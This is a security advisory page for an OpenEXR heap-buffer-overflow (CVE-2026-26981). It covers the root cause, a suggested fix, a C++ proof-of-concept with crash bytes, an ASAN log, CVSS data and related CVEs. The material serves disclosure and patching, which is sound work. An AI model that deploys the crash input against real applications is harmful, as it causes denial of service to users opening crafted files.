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Mittel

OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp

  • Veröffentlicht: 06.04.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.

Affected Version

  • OpenEXR main branch (commit at time of testing)
  • src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:

cpp
int64_t stream_sz = s->size ();           // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz);               // sz is size_t → wraps to 0xFFFFFFFFFFFFF004

sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.

Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.

PoC Code:

cpp
#include <cstdint>
#include <cstring>
#include <iostream>

#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER

class MemMapIStream : public IStream
{
public:
    MemMapIStream (const uint8_t* data, size_t len)
        : IStream ("poc_input")
        , _data (reinterpret_cast<const char*> (data))
        , _size (static_cast<int64_t> (len))
        , _pos (0)
    {}

    bool isMemoryMapped () const override { return true; }

    bool read (char c[], int n) override
    {
        int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
        int64_t copy  = (static_cast<int64_t> (n) < avail) ? n : avail;
        if (copy > 0) memcpy (c, _data + _pos, copy);
        _pos += n;
        return _pos <= _size;
    }

    char* readMemoryMapped (int n) override
    {
        if (_pos + n > _size)
            throw IEX_NAMESPACE::InputExc ("read past end");
        const char* p = _data + _pos;
        _pos += n;
        return const_cast<char*> (p);
    }

    uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
    void     seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }

    int64_t size () override { return _size; }

private:
    const char* _data;
    int64_t     _size;
    int64_t     _pos;
};

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT

int main ()
{
    static const uint8_t crash_data[] = {
        0x76, 0x2f, 0x31, 0x01,
        0x02, 0x06, 0x00, 0x00,
        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
        0x20, 0x00, 0x00,
        0x53, 0x00, 0x00, 0x00
    };

    try
    {
        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
        Imf::MultiPartInputFile file (stream);
    }
    catch (const std::exception& e)
    {
        std::cout << "Exception: " << e.what () << "\n";
    }

    return 0;
}

PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link

ASAN Log

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING

Impact

  • DoS — Any application that opens a crafted EXR file will crash immediately
  • CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
  • Affects any application using an IStream implementation where isMemoryMapped() returns true

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) openexr >= 3.3.0, < 3.3.7, >= 3.4.0, < 3.4.5 3.3.7, 3.4.5

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-195
Plattform
Python (PyPI)
Paket
openexr
Veröffentlicht
06.04.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2849 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-q6vj-wxvf-5m8c - CC BY 4.0

Schwachstellenhistorie: openexr

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (15) im Archiv
Einträge insgesamt
15
Erste → letzte
05.2022 04.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 7
  • Mittel 7
  • Niedrig 1

Veröffentlichungen pro Jahr

Schweregrad:
  1. OpenEXR: DWA Lossy Decoder Heap Out-of-Bounds Write
    Hoch · 5.0 CVE-2026-34589 >= 3.2.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  2. OpenEXR has a signed 32-bit Overflow in PIZ Decoder Leads to OOB Read/Write
    Hoch · 7.8 CVE-2026-34588 >= 3.1.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  3. OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp dieser Eintrag
    Mittel · 6.5 CVE-2026-26981 >= 3.3.0, < 3.3.7, >= 3.4.0, < 3.4.5 3.3.7, 3.4.5
  4. OpenEXR: Heap information disclosure in PXR24 decompression via unchecked decompressed size (undo_pxr24_impl)
    Hoch CVE-2026-34543 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  5. OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
    Hoch CVE-2026-34544 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  6. OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write
    Hoch CVE-2026-27622 >= 2.3.0, < 3.2.6, >= 3.3.0, < 3.3.8, >= 3.4.0, < 3.4.6 3.2.6, 3.3.8, 3.4.6
  7. OpenEXR Heap-Based Buffer Overflow in Deep Scanline Parsing via Forged Unpacked Size
    Hoch · 7.8 CVE-2025-48071 >= 3.3.0, < 3.3.3 3.3.3
  8. OpenEXR invalid write
    Hoch · 8.8 CVE-2017-9111 < 2.2.1 2.2.1

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